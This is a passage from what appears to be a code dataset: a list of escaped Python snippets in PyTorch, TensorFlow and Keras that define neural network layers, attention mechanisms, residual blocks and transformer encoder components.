\"shared_kv\", False),\n attention_kwargs=attention_kwargs_from_hparams(hparams))","def attn(self, embed, mask, name=\"\"):\n with tf.variable_scope(\"attn_\"+name):\n K = self.get_trans_param(\"K\")\n Q = self.get_trans_param(\"Q\")\n V = self.get_trans_param(\"V\")\n kdata = tf.einsum(\"nml,lk->nmk\", embed, K)\n qdata = tf.einsum(\"nml,lk->nmk\", embed, Q)\n vdata = tf.einsum(\"nml,lk->nmk\", embed, V) # nbatch x max_atom x n_trans\n kq = tf.einsum(\"nml,nkl->nmk\", qdata, kdata)*(1/math.sqrt(self.n_trans)) # nbatch x max_atom x max_atom\n #mask = tf.expand_dims(mask, 1) # nbatch x 1 x max_atom\n mask = tf.keras.backend.repeat(mask, self.max_atom) \n score = tf.where(mask, -9999*tf.ones_like(kq), kq)\n #score = kq\n #score = tf.scatter_update(tf.Variable(kq, validate_shape=False), mask, -9999)# assign a large number\n w = tf.nn.softmax(score, axis=-1) # calculate attention weight, nbatch x max_atom x max_atom\n vout = tf.einsum(\"nml,nlk->nmk\", w, vdata) # nbatch x max_atom x n_trans\n return vout","def attention(query, step):\n \n if nest.is_sequence(query): # If the query is a tuple, flatten it.\n query_list = nest.flatten(query)\n query = array_ops.concat(query_list, 1)\n _tmp = math_ops.matmul(query, w) + b\n _tmp = array_ops.reshape(_tmp, [-1, 1, 1, attn_size])\n # Attention mask is a softmax of v^T * tanh(...).\n s = math_ops.reduce_sum(v * math_ops.tanh(hidden_features + _tmp), [2, 3])\n # beta = math_ops.multiply(nn_ops.softmax(s, name=\"beta_%d\" % step), beta_scalar)\n beta = nn_ops.softmax(s, name=\"beta_%d\" % step)\n # Now calculate the attention-weighted vector d.\n \n hidden_attn = math_ops.reduce_sum(array_ops.reshape(beta, [-1, attn_length, 1, 1]) * hidden,\n [1, 2])\n return hidden_attn, beta","def forward(self, x):\n # define feedforward behavior, applying activations as necessary\n out = self.leaky_relu(self.conv1(x))\n out = self.leaky_relu(self.conv2(out))\n out = self.leaky_relu(self.conv3(out))\n out = self.leaky_relu(self.conv4(out))\n\n out = self.res_blocks(out)\n\n out = self.leaky_relu(self.deconv1(out))\n out = self.leaky_relu(self.deconv2(out))\n out = self.leaky_relu(self.deconv3(out))\n\n # tanh applied to last layer\n out = F.tanh(self.out_layer(out))\n out = torch.clamp(out, min=-0.5, max=0.5)\n\n return out","def forward(self, state):\n x = self.conv(state).view(-1, self.hid_size)\n x = self.fc1(x)\n x = F.relu(x)\n return self.fc2(x)","def forward(self, output):\n \n hidden_states = self.extract_hidden_states(output)\n \n # Obtaining the attention weights\n weighted_states = self.w1(hidden_states)\n activated_states = self.tanh(weighted_states)\n score_weights = self.w2(activated_states)\n attention_weights = self.softmax(score_weights)\n \n # Applying attention to the matrix with hidden states\n attentional_vector = torch.bmm(torch.transpose(attention_weights,2,1),hidden_states) \n attentional_vector = self.fc(torch.transpose(attentional_vector,2,1)).squeeze(2)\n attentional_vector = self._activation_fn(attentional_vector)\n \n return attentional_vector","def __init__(self, wav2vec2_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([wav2vec2_layer.attention.q_proj.weight, wav2vec2_layer.attention.k_proj.weight, wav2vec2_layer.attention.v_proj.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([wav2vec2_layer.attention.q_proj.bias, wav2vec2_layer.attention.k_proj.bias, wav2vec2_layer.attention.v_proj.bias]))\n self.out_proj_weight = wav2vec2_layer.attention.out_proj.weight\n self.out_proj_bias = wav2vec2_layer.attention.out_proj.bias\n self.linear1_weight = wav2vec2_layer.feed_forward.intermediate_dense.weight\n self.linear1_bias = wav2vec2_layer.feed_forward.intermediate_dense.bias\n self.linear2_weight = wav2vec2_layer.feed_forward.output_dense.weight\n self.linear2_bias = wav2vec2_layer.feed_forward.output_dense.bias\n self.norm1_eps = wav2vec2_layer.layer_norm.eps\n self.norm1_weight = wav2vec2_layer.layer_norm.weight\n self.norm1_bias = wav2vec2_layer.layer_norm.bias\n self.norm2_eps = wav2vec2_layer.final_layer_norm.eps\n self.norm2_weight = wav2vec2_layer.final_layer_norm.weight\n self.norm2_bias = wav2vec2_layer.final_layer_norm.bias\n self.num_heads = wav2vec2_layer.attention.num_heads\n self.embed_dim = wav2vec2_layer.attention.embed_dim\n self.is_last_layer = False\n self.validate_bettertransformer()","def attention_resnet32(**kwargs):\r\n model = CifarAttentionResNet(CifarAttentionBasicBlock, 5, **kwargs)\r\n return model","def __init__(self, embed_size, dropout=0.5, image_model='resnet101', simple=False, pretrained=True):\n super(EncoderCNNFeatures, self).__init__()\n resnet = globals()[image_model](pretrained=pretrained)\n\n self.linear = nn.Sequential(nn.Conv2d(resnet.fc.in_features, embed_size, kernel_size=1, padding=0),\n nn.Dropout2d(dropout))\n\n self.simple = simple\n if simple:\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))","def __init__(self, input_size, hidden_size, output_size, config):\r\n super(AttentionDecoder, self).__init__()\r\n\r\n self.config = config\r\n self.input_size = input_size\r\n self.hidden_size = hidden_size\r\n\r\n self.attn = Attn(self.config.attn_type, self.hidden_size)\r\n self.out = nn.Linear(self.hidden_size * 2, output_size)\r\n\r\n if self.config.model in ['LSTM', 'GRU']:\r\n self.rnn = getattr(nn, self.config.model)(self.input_size + self.hidden_size, self.hidden_size,\r\n self.config.nlayer_dec, batch_first=True,\r\n dropout=self.config.dropout)\r\n else:\r\n try:\r\n nonlinearity = {'RNN_TANH': 'tanh', 'RNN_RELU': 'relu'}[self.config.model]\r\n except KeyError:\r\n raise ValueError(\"\"\"An invalid option for `--model` was supplied,\r\n options are ['LSTM', 'GRU', 'RNN_TANH' or 'RNN_RELU']\"\"\")\r\n self.rnn = nn.RNN(self.input_size + self.hidden_size, self.hidden_size, self.config.nlayers,\r\n nonlinearity=nonlinearity, batch_first=True, dropout=self.config.dropout)","def feed_forward(self):\n self.hidden_activation = self._sigmoid(np.dot(self.input_activation, self.w1))\n self.output_activation = self._sigmoid(np.dot(self.hidden_activation, self.w2))","def __init__(self, \n atom_fdim: int = 133,\n bond_fdim: int = 147,\n activation: str = 'ReLU',\n hidden_size: int = 300,\n bias: bool = False,\n depth: int = 3,\n dropout: float = 0.0,\n layers_per_message: int = 1,\n undirected: bool = False,\n atom_messages: bool = False\n ):\n super().__init__()\n \n self.dropout_layer = nn.Dropout(p=dropout)\n self.act_func = get_activation_function(activation)\n self.cached_zero_vector = T.zeros(hidden_size, requires_grad=False)\n \n # Input\n input_dim = atom_fdim if atom_messages else bond_fdim\n self.W_i = nn.Linear(input_dim, hidden_size, bias=bias)\\\n \n if atom_messages:\n w_h_input_size = hidden_size + bond_fdim\n else:\n w_h_input_size = hidden_size\n \n self.W_h = nn.Sequential(*([\n nn.Linear(w_h_input_size, hidden_size, bias=bias)\n ] + sum([\n [self.act_func, nn.Linear(hidden_size, hidden_size, bias=bias)] \n for _ in range(layers_per_message-1)], []\n )))\n self.W_o = nn.Linear(atom_fdim + hidden_size, hidden_size)\n \n self.atom_messages = atom_messages\n self.depth = depth\n self.undirected = undirected","def block(inp, scope, past, config):\n with tf.variable_scope(scope):\n nx = inp.shape[-1].value\n norm = normalise_tensor(inp, 'ln_1')\n attn, present = attention(norm, 'attn', nx, past=past, config=config)\n out = attn + inp\n norm = normalise_tensor(out, 'ln_2')\n mlp_out = multilayer_perceptron(norm, 'mlp', nx * 4) # note that hidden dim is 4x\n out = out + mlp_out\n return out, present","def nn_layer(input_tensor, input_dim, output_dim, layer_name, act=tf.nn.relu,method = \"xavier\"):\n # Adding a name scope ensures logical grouping of the layers in the graph.\n with tf.name_scope(layer_name):\n # This Variable will hold the state of the weights for the layer\n with tf.name_scope('weights'):\n weights = weight_variable([input_dim, output_dim],method = method,name = layer_name)\n variable_summaries(weights, layer_name + '/weights')\n with tf.name_scope('Wx_plus_b'):\n preactivate = tf.matmul(input_tensor, weights)\n tf.histogram_summary(layer_name + '/pre_activations', preactivate)\n if act is None:\n activations = preactivate\n else:\n activations = act(preactivate, 'activation')\n tf.histogram_summary(layer_name + '/activations', activations)\n return activations","def _add_bert_self_attention_layer(model_1, model_2):\n\n class Config:\n pass\n\n config = Config()\n config.hidden_size = model_1.all_head_size + model_2.all_head_size\n config.num_attention_heads = (\n model_1.num_attention_heads + model_2.num_attention_heads\n )\n config.output_attentions = model_1.output_attentions\n config.attention_probs_dropout_prob = model_1.dropout.p\n\n return BertSelfAttention(config)","def build_model_multihead_attention_multiscaleCNN4_covermore(self,\n dim_attention,headnum,\n embedding_vec,\n load_weights=False, weight_dir=None,\n nb_filters=32,filters_length1=1,\n filters_length2=5,\n filters_length3=10,\n pooling_size=3,\n drop_input=0,\n drop_cnn=0.2,\n drop_flat=0,\n W1_regularizer=0.005,\n W2_regularizer=0.005,\n Att_regularizer_weight=0.0005,\n BatchNorm=False,\n fc_dim = 50,\n fcnum=0,\n posembed=False,\n pos_dmodel=40,\n pos_nwaves = 20,\n posmod = 'concat',\n regularfun=1,\n huber_delta=1,\n activation='gelu',\n activationlast='gelu',\n add_avgpooling = False,\n poolingmod=1,\n normalizeatt=False,\n regressionmodel=False,\n attmod = \"softmax\",\n sharp_beta=1,\n lr = 0.001 \n ):\n ###print('Advanced Masking')\n def mask_func(x):\n return x[0] * x[1]\n \n ###print(posembed)\n ###print(posmod)\n input = Input(shape=(self.max_len,), dtype='int8')\n input_mask = Input(shape=([int(self.max_len/pooling_size), 1]), dtype='float32')\n embedding_layer = Embedding(len(embedding_vec), len(embedding_vec[0]), weights=[embedding_vec],\n input_length=self.max_len,\n trainable=False)\n embedding_output = Dropout(drop_input)(embedding_layer(input)) #layer2\n if 'gelu' in activation:\n activationfun=gelu\n else:\n activationfun = 'relu'\n \n if 'gelu' in activationlast:\n activationlastfun = gelu\n else:\n activationlastfun='relu'\n \n ###print(activationfun)\n ###print(activationlastfun)\n with tf.name_scope('first_cnn'):\n first_cnn = Convolution1D(nb_filters, filters_length1, #kernel_regularizer=regularizers.l2(0.0001),\n border_mode='same', activation=activationfun, use_bias=False,name='CNN1')(embedding_output) #layer3\n first_cnn2 = Convolution1D(int(nb_filters/2), filters_length1, #kernel_regularizer=regularizers.l2(0.0001),\n border_mode='same', activation=activationlastfun, use_bias=False)(first_cnn) #layer5\n second_cnn = Convolution1D(nb_filters, filters_length2, #kernel_regularizer=regularizers.l2(0.0001),\n border_mode='same', activation=activationfun, use_bias=False,name='CNN2')(embedding_output) #layer4\n second_cnn2 = Convolution1D(int(nb_filters/2), filters_length2, #kernel_regularizer=regularizers.l2(0.0001),\n border_mode='same', activation=activationlastfun, use_bias=False)(second_cnn)\n third_cnn = Convolution1D(int(nb_filters/2), filters_length3, #kernel_regularizer=regularizers.l2(0.0001),\n border_mode='same', activation=activationfun, use_bias=False,name='CNN3')(embedding_output)\n \n third_cnn2 = Convolution1D(int(nb_filters/2), filters_length3, #kernel_regularizer=regularizers.l2(0.0001),\n border_mode='same', activation=activationlastfun, use_bias=False)(third_cnn)\n if BatchNorm:\n first_cnn2 = BatchNormalization()(first_cnn2)\n second_cnn2 = BatchNormalization()(second_cnn2)\n third_cnn2 = BatchNormalization()(third_cnn2)\n \n if not add_avgpooling:\n if poolingmod == 1:\n pooling_layer = MaxPooling1D(pool_length=pooling_size, stride=pooling_size)\n else:\n pooling_layer = AveragePooling1D(pool_length=pooling_size, stride=pooling_size)\n \n cnn_output1 = Dropout(drop_cnn)(pooling_layer(first_cnn2))\n cnn_output2 = Dropout(drop_cnn)(pooling_layer(second_cnn2))\n cnn_output3 = Dropout(drop_cnn)(pooling_layer(third_cnn2))\n else:\n first_cnn2_max=MaxPooling1D(pool_length=pooling_size, stride=pooling_size)(first_cnn2)\n first_cnn2_avg=AveragePooling1D(pool_length=pooling_size, stride=pooling_size)(first_cnn2)\n cnn_output1 = Dropout(drop_cnn)(concatenate([first_cnn2_max,first_cnn2_avg],axis=-1))\n second_cnn2_max=MaxPooling1D(pool_length=pooling_size, stride=pooling_size)(second_cnn2)\n second_cnn2_avg=AveragePooling1D(pool_length=pooling_size, stride=pooling_size)(second_cnn2)\n cnn_output2 = Dropout(drop_cnn)(concatenate([second_cnn2_max,second_cnn2_avg],axis=-1))\n third_cnn2_max=MaxPooling1D(pool_length=pooling_size, stride=pooling_size)(third_cnn2)\n third_cnn2_avg=AveragePooling1D(pool_length=pooling_size, stride=pooling_size)(third_cnn2)\n cnn_output3 = Dropout(drop_cnn)(concatenate([third_cnn2_max,third_cnn2_avg],axis=-1))\n \n \n \n if posembed:\n ##print(posmod)\n from position_embedding import PositionEmbedding\n if posmod == 'concat':\n pos_emb1 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=pos_nwaves, d_model=pos_dmodel,name='pos_emb1')(cnn_output1)\n cnn_output1 = concatenate([cnn_output1, pos_emb1], axis=-1)\n pos_emb2 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=pos_nwaves, d_model=pos_dmodel,name='pos_emb2')(cnn_output2)\n cnn_output2 = concatenate([cnn_output2, pos_emb2], axis=-1)\n pos_emb3 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=pos_nwaves, d_model=pos_dmodel,name='pos_emb3')(cnn_output3)\n cnn_output3 = concatenate([cnn_output3, pos_emb3], axis=-1)\n else:\n ##print(\"yes add posmod\")\n pos_emb1 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=int(int_shape(cnn_output1)[-1]/2), d_model=int_shape(cnn_output1)[-1],name='pos_emb1')(cnn_output1)\n cnn_output1 = Add()([cnn_output1, pos_emb1])\n pos_emb2 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=int(int_shape(cnn_output2)[-1]/2), d_model=int_shape(cnn_output2)[-1],name='pos_emb2')(cnn_output2)\n cnn_output2 = Add()([cnn_output2, pos_emb2])\n pos_emb3 = PositionEmbedding(max_time=int(self.max_len/pooling_size), n_waves=int(int_shape(cnn_output3)[-1]/2), d_model=int_shape(cnn_output3)[-1],name='pos_emb3')(cnn_output3)\n cnn_output3 = Add()([cnn_output3, pos_emb3])\n \n mask_input1 = []\n mask_input1.append(cnn_output1)\n mask_input1.append(input_mask)\n cnn_mask_output1 = Lambda(mask_func)(mask_input1)\n del mask_input1\n mask_input2 = []\n mask_input2.append(cnn_output2)\n mask_input2.append(input_mask)\n cnn_mask_output2 = Lambda(mask_func)(mask_input2)\n del mask_input2\n mask_input3 = []\n mask_input3.append(cnn_output3)\n mask_input3.append(input_mask)\n cnn_mask_output3 = Lambda(mask_func)(mask_input3)\n del mask_input3\n \n if regularfun==1:\n regularizerfunction_W1 = regularizers.l1(W1_regularizer)\n regularizerfunction_W2 = regularizers.l1(W2_regularizer)\n elif regularfun==2:\n regularizerfunction_W1 = regularizers.l2(W1_regularizer)\n regularizerfunction_W2 = regularizers.l2(W2_regularizer)\n elif regularfun ==3:\n regularizerfunction_W1 = smoothL1(W1_regularizer,huber_delta)\n regularizerfunction_W2 = smoothL1(W2_regularizer,huber_delta)\n \n with tf.name_scope('multihead_attention'):\n att1,att1_A = Attention_mask(hidden=cnn_output1.get_shape()[-1].value, da=dim_attention, r=headnum, init='glorot_uniform', activation='tanh',\n W1_regularizer=regularizerfunction_W1,\n W2_regularizer=regularizerfunction_W2,\n W1_constraint=None, W2_constraint=None, return_attention=True,\n attention_regularizer_weight=Att_regularizer_weight,normalize=normalizeatt,attmod=attmod,sharp_beta=sharp_beta,name=\"att1\")(concatenate([cnn_mask_output1, input_mask]))#-5 layer\n \n att2,att2_A = Attention_mask(hidden=cnn_output1.get_shape()[-1].value, da=dim_attention, r=headnum, init='glorot_uniform', activation='tanh',\n W1_regularizer=regularizerfunction_W1,\n W2_regularizer=regularizerfunction_W2,\n W1_constraint=None, W2_constraint=None, return_attention=True,\n attention_regularizer_weight=Att_regularizer_weight,normalize=normalizeatt,attmod=attmod,sharp_beta=sharp_beta,name=\"att2\")(concatenate([cnn_mask_output2, input_mask])) #-4 layer\n \n att3,att3_A = Attention_mask(hidden=cnn_output1.get_shape()[-1].value, da=dim_attention, r=headnum, init='glorot_uniform', activation='tanh',\n W1_regularizer=regularizerfunction_W1,\n W2_regularizer=regularizerfunction_W2,\n W1_constraint=None, W2_constraint=None, return_attention=True,\n attention_regularizer_weight=Att_regularizer_weight,normalize=normalizeatt,attmod=attmod,sharp_beta=sharp_beta,name=\"att3\")(concatenate([cnn_mask_output3, input_mask])) #-3 layer\n \n if BatchNorm:\n att1 = BatchNormalization()(att1)\n att2 = BatchNormalization()(att2)\n att3 = BatchNormalization()(att3)\n \n \n output = Dropout(drop_flat)(Flatten()(concatenate([att1,att2,att3]))) #-2 layer\n \n fc = output\n for _ in range(fcnum):\n fc = Dense(fc_dim,activation='relu')(fc)\n fc = Dropout(drop_flat)(fc)\n \n with tf.name_scope(''):\n if regressionmodel:\n preds = Dense(self.nb_classes,activation='softmax')(fc) #-1 layer\n else:\n preds = Dense(self.nb_classes,activation='sigmoid')(fc) #-1 layer\n \n self.model = Model(inputs=[input,input_mask], outputs=preds)\n from keras import optimizers\n # optim = optimizers.RMSprop()\n optim = optimizers.Adam(lr=lr, decay=5e-5) #The paper uses a decay rate alpha = alpha/sqrt(t) updted each epoch (t) for the logistic regression demonstration.\n #optim = optimizers.nadam()\n #optim = RAdam()\n if regressionmodel:\n self.model.compile(loss='kld',optimizer=optim,metrics=['acc'])\n else:\n self.model.compile(loss='binary_crossentropy',optimizer=optim,metrics=['binary_accuracy','categorical_accuracy'])\n \n \n \n if load_weights:\n self.model.load_weights(weight_dir)\n \n self.is_built = True\n self.bn = False\n self.model.summary()","def __call__(self, x, is_training, nfilt=32, reuse=False):\n with tf.variable_scope(self.name):\n x = tf.reshape(x, [-1, self.input_dim, self.input_dim, self.channels])\n\n # attnh1 = unet_conv(x, nfilt*1, 'attnh1', reuse, is_training, use_batch_norm=False)\n # attn1 = unet_conv_t(attnh1, None, 1, 'attn1', reuse, is_training, activation=tf.nn.tanh)\n\n # attnh2 = unet_conv(attnh1, nfilt*2, 'attnh2', reuse, is_training)\n # attn2 = unet_conv_t(attnh2, None, nfilt*2, 'attn2_1', reuse, is_training)\n # attn2 = unet_conv_t(attn2, None, 1, 'attn2_2', reuse, is_training, activation=tf.nn.tanh)\n\n # attnh3 = unet_conv(attnh2, nfilt*4, 'attnh3', reuse, is_training)\n # attn3 = unet_conv_t(attnh3, None, nfilt*4, 'attn3_1', reuse, is_training)\n # attn3 = unet_conv_t(attn3, None, nfilt*2, 'attn3_2', reuse, is_training)\n # attn3 = unet_conv_t(attn3, None, 1, 'attn3_3', reuse, is_training, activation=tf.nn.tanh)\n\n # salience = tf.concat([attn1, attn2, attn3], 3)\n # salience = conv(salience, 1, 'salience', s=1, reuse=reuse)\n # salience = tf.reshape(salience, (-1, self.input_dim*self.input_dim*1))\n # salience = tf.nn.softmax(salience)\n # salience = tf.reshape(salience, (-1, self.input_dim,self.input_dim,1))\n\n h1 = unet_conv(x, nfilt*1, 'h1', reuse, is_training, use_batch_norm=False)\n h2 = unet_conv(h1, nfilt*2, 'h2', reuse, is_training)\n h3 = unet_conv(h2, nfilt*4, 'h3', reuse, is_training)\n out = unet_conv(h3, 1, 'out', reuse, is_training, use_batch_norm=False, activation=None)\n\n return out","def __init__(self, encoder_hidden_dim, decoder_hidden_dim, T):\n super(TemporalAttentionDecoder, self).__init__()\n\n self.T = T\n self.encoder_hidden_dim = encoder_hidden_dim\n self.decoder_hidden_dim = decoder_hidden_dim\n\n self.attn_layer = nn.Sequential(nn.Linear(2 * decoder_hidden_dim + encoder_hidden_dim, encoder_hidden_dim),\n nn.ReLU(), nn.Linear(encoder_hidden_dim, 1))\n self.lstm_layer = nn.LSTM(input_size=1, hidden_size=decoder_hidden_dim)\n self.fc = nn.Linear(encoder_hidden_dim + 2, 1)\n self.fc_final = nn.Linear(decoder_hidden_dim + encoder_hidden_dim, 1)\n\n self.fc.weight.data.normal_()","def __init__(self, dm, h, hidden, drop_rate=0.1):\r\n super(EncoderBlock, self).__init__()\r\n self.mha = MultiHeadAttention(dm, h)\r\n self.dense_hidden = tf.keras.layers.Dense(units=hidden,\r\n activation='relu')\r\n self.dense_output = tf.keras.layers.Dense(units=dm)\r\n self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\r\n self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\r\n self.dropout1 = tf.keras.layers.Dropout(drop_rate)\r\n self.dropout2 = tf.keras.layers.Dropout(drop_rate)","def __init__(self, hidden_units, act_fn=activation_fn, output_shape=1, out_activation=None, out_layer=True):\n super().__init__()\n for u in hidden_units:\n self.add(GaussianNoise(0.4)) # Or use kwargs\n self.add(Dense(u, act_fn))\n if out_layer:\n self.add(GaussianNoise(0.4))\n self.add(Dense(output_shape, out_activation))","def _res_block(self, X, name, out_channels):\n \n X_shortcut = X\n X = self._mfm(X, name = name + '_mfm1', out_channels=out_channels, kernel_size=3, strides=1)\n X = self._mfm(X, name = name + '_mfm2', out_channels=out_channels, kernel_size=3, strides=1)\n X = Add()([X, X_shortcut])\n return X","def run(self, x):\n \"*** YOUR CODE HERE question 2 ***\"\n xm0 = nn.Linear(x, self.m0)\n bias0 = nn.AddBias(xm0, self.b0)\n relu0 = nn.ReLU(bias0)\n xm1 = nn.Linear(relu0, self.m1)\n bias1 = nn.AddBias(xm1, self.b1)\n ### extra layer below ###\n # relu1 = nn.ReLU(bias1)\n # xm2 = nn.Linear(relu1, self.m2)\n # final = nn.AddBias(xm2, self.b2)\n # training another layer makes a smoother curve but needs more tuning...\n\n return bias1","def build(self):\n \n # Defining the layers\n self.w1 = nn.Linear(self._hidden_size*2, self._expansion_size, bias = False).to(self.device)\n self.tanh = nn.Tanh()\n self.w2 = nn.Linear(self._expansion_size, self._attention_layers, bias = False).to(self.device)\n self.softmax = nn.Softmax(dim = 2)\n self.fc = nn.Linear(self._attention_layers, 1).to(self.device)\n \n if self._activation_fn == 'tanh' or isinstance(self._activation_fn, torch.nn.modules.activation.Tanh):\n self._activation_fn = nn.Tanh()\n elif self._activation_fn == 'sigmoid' or isinstance(self._activation_fn, torch.nn.modules.activation.Sigmoid):\n self._activation_fn = nn.Sigmoid()\n elif self._activation_fn == 'leaky ReLU' or isinstance(self._activation_fn, torch.nn.modules.activation.LeakyReLU):\n self._activation_fn = nn.LeakyReLU()\n else:\n raise NotImplementedError('Non-linear activation function must be \"tanh\", \"sigmoid\" or \"leaky ReLU\"')\n \n # Passing it onto the relevant device\n self._activation_fn = self._activation_fn.to(self.device)","def __init__(self, dm, h, hidden, drop_rate=0.1):\n super().__init__()\n self.mha = MultiHeadAttention(dm, h)\n self.ffn = point_wise_feed_forward_network(dm, hidden)\n\n self.layernorm1 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n self.layernorm2 = tf.keras.layers.LayerNormalization(epsilon=1e-6)\n\n self.dropout1 = tf.keras.layers.Dropout(drop_rate)\n self.dropout2 = tf.keras.layers.Dropout(drop_rate)","def __init__(self):\n # def __init__(self, embed_size, input_channels):\n super(OffsetCNN, self).__init__()\n self.conv0 = nn.Conv3d(1, 1, (1, 1, 1), padding=(0,0,0))\n self.bn0 = nn.BatchNorm3d(1)\n self.lrelu = nn.LeakyReLU()","def _residual(self, x, in_filter, out_filter, stride, activate_before_residual=False):\n if activate_before_residual: \n with tf.variable_scope('shared_activation'):\n x = self._batch_norm('init_bn', x)\n x = self._relu(x, self.hps.relu_leakiness)\n orig_x = x\n else:\n with tf.variable_scope('residual_only_activation'):\n orig_x = x\n x = self._batch_norm('init_bn', x)\n x = self._relu(x, self.hps.relu_leakiness)\n\n with tf.variable_scope('sub1'):\n x = self._conv('conv1', x, 3, in_filter, out_filter, stride)\n\n with tf.variable_scope('sub2'):\n x = self._batch_norm('bn2', x)\n x = self._relu(x, self.hps.relu_leakiness)\n x = self._conv('conv2', x, 3, out_filter, out_filter, [1, 1, 1, 1])\n\n with tf.variable_scope('sub_add'):\n if in_filter != out_filter:\n orig_x = tf.nn.avg_pool(orig_x, stride, stride, 'VALID')\n orig_x = tf.pad(\n orig_x, [[0, 0], [0, 0], [0, 0],\n [(out_filter-in_filter)//2, (out_filter-in_filter)//2]])\n x += orig_x\n\n tf.logging.debug('image after unit %s', x.get_shape())\n return x","def __init__(self):\n # def __init__(self, embed_size, input_channels):\n super(EncoderCNN, self).__init__()\n self.off_model = OffsetCNN()\n self.sig_model = SignificanceCNN()\n self.sigmoid = nn.Sigmoid()\n self.W = nn.Conv3d(1, 1, (5, 1, 1))","def __attention_gated_block(\n self,\n x,\n g,\n inputfilters,\n outputfilters,\n scale_factor,\n depth=None,\n height=None,\n width=None,\n scope=None):\n with tf.name_scope(scope):\n kernel_x_shape = (1, 1, 1, inputfilters, outputfilters)\n Wx = self.__weight_xavier_init(\n shape=kernel_x_shape,\n n_inputs=kernel_x_shape[0] * kernel_x_shape[1] * kernel_x_shape[2] * kernel_x_shape[3],\n n_outputs=kernel_x_shape[-1],\n active_function='relu',\n variable_name=scope + 'conv_Wx')\n Bx = self.__bias_variable([kernel_x_shape[-1]], variable_name=scope + 'conv_Bx')\n theta_x = self.__conv3d(x, Wx, scale_factor) + Bx\n\n kernel_g_shape = (1, 1, 1, inputfilters, outputfilters)\n Wg = self.__weight_xavier_init(\n shape=kernel_g_shape,\n n_inputs=kernel_g_shape[0] * kernel_g_shape[1] * kernel_g_shape[2] * kernel_g_shape[3],\n n_outputs=kernel_g_shape[-1],\n active_function='relu',\n variable_name=scope + 'conv_Wg')\n Bg = self.__bias_variable([kernel_g_shape[-1]], variable_name=scope + 'conv_Bg')\n phi_g = self.__conv3d(g, Wg) + Bg\n\n add_xg = self.__resnet_add(theta_x, phi_g)\n act_xg = tf.nn.relu(add_xg)\n\n kernel_psi_shape = (1, 1, 1, outputfilters, 1)\n Wpsi = self.__weight_xavier_init(\n shape=kernel_psi_shape,\n n_inputs=kernel_psi_shape[0] * kernel_psi_shape[1] * kernel_psi_shape[2] * kernel_psi_shape[3],\n n_outputs=kernel_psi_shape[-1],\n active_function='relu',\n variable_name=scope + 'conv_Wpsi')\n Bpsi = self.__bias_variable([kernel_psi_shape[-1]], variable_name=scope + 'conv_Bpsi')\n psi = self.__conv3d(act_xg, Wpsi) + Bpsi\n sigmoid_psi = tf.nn.sigmoid(psi)\n\n upsample_psi = self.__upsample3d(sigmoid_psi, scale_factor=scale_factor, scope=scope + \"resampler\")\n\n # Attention: upsample_psi * x\n # upsample_psi = layers.Lambda(lambda x, repnum: K.repeat_elements(x, repnum, axis=4),\n # arguments={'repnum': outfilters})(upsample_psi)\n gat_x = tf.multiply(upsample_psi, x)\n kernel_gat_x_shape = (1, 1, 1, outputfilters, outputfilters)\n Wgatx = self.__weight_xavier_init(\n shape=kernel_gat_x_shape,\n n_inputs=kernel_gat_x_shape[0] * kernel_gat_x_shape[1] * kernel_gat_x_shape[2] * kernel_gat_x_shape[3],\n n_outputs=kernel_gat_x_shape[-1],\n active_function='relu',\n variable_name=scope + 'conv_Wgatx')\n Bgatx = self.__bias_variable([kernel_gat_x_shape[-1]], variable_name=scope + 'conv_Bgatx')\n gat_x_out = self.__conv3d(gat_x, Wgatx) + Bgatx\n\n gat_x_out = self.__normalizationlayer(\n gat_x_out,\n image_depth=depth,\n image_height=height,\n image_width=width,\n norm_type='group',\n scope=scope)\n\n return gat_x_out","def __init__(self, whisper_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([whisper_layer.self_attn.q_proj.weight, whisper_layer.self_attn.k_proj.weight, whisper_layer.self_attn.v_proj.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([whisper_layer.self_attn.q_proj.bias, torch.zeros_like(whisper_layer.self_attn.q_proj.bias), whisper_layer.self_attn.v_proj.bias]))\n self.out_proj_weight = whisper_layer.self_attn.out_proj.weight\n self.out_proj_bias = whisper_layer.self_attn.out_proj.bias\n self.linear1_weight = whisper_layer.fc1.weight\n self.linear1_bias = whisper_layer.fc1.bias\n self.linear2_weight = whisper_layer.fc2.weight\n self.linear2_bias = whisper_layer.fc2.bias\n self.norm1_eps = whisper_layer.self_attn_layer_norm.eps\n self.norm1_weight = whisper_layer.self_attn_layer_norm.weight\n self.norm1_bias = whisper_layer.self_attn_layer_norm.bias\n self.norm2_eps = whisper_layer.final_layer_norm.eps\n self.norm2_weight = whisper_layer.final_layer_norm.weight\n self.norm2_bias = whisper_layer.final_layer_norm.bias\n self.num_heads = whisper_layer.self_attn.num_heads\n self.embed_dim = whisper_layer.self_attn.embed_dim\n self.is_last_layer = False\n self.norm_first = True\n self.validate_bettertransformer()","def xception_block2(x, n_filter, kernel_size, name,\n activation='relu'):\n residual = x\n if activation:\n x = layers.Activation('relu', name=name+'_act')(x) \n x = sepconv_bn_relu(x, n_filter, kernel_size, padding='same', name=name+'_sepconv1')\n x = sepconv_bn_relu(x, n_filter, kernel_size, padding='same', name=name+'_sepconv2')\n x = sepconv_bn_relu(x, n_filter, kernel_size, padding='same', activation=None, name=name+'_sepconv3')\n x = layers.add([x, residual])\n\n return x","def __init__(self, kernel_size=11, log_t=False):\n super(Attention, self).__init__()\n assert kernel_size % 2 == 1, \"Kernel size should be odd for 'same' conv.\"\n padding = (kernel_size - 1) // 2\n self.conv = nn.Conv1d(1, 1, kernel_size, padding=padding)\n self.log_t = log_t","def inference(image, keep_prob):\r\n '''\r\n print(\"setting up vgg initialized conv layers ...\")\r\n model_data = utils.get_model_data(FLAGS.model_dir, MODEL_URL)\r\n\r\n mean = model_data['normalization'][0][0][0]\r\n mean_pixel = np.mean(mean, axis=(0, 1))\r\n\r\n weights = np.squeeze(model_data['layers'])\r\n print(\"weights.shape\",weights.shape)\r\n\r\n 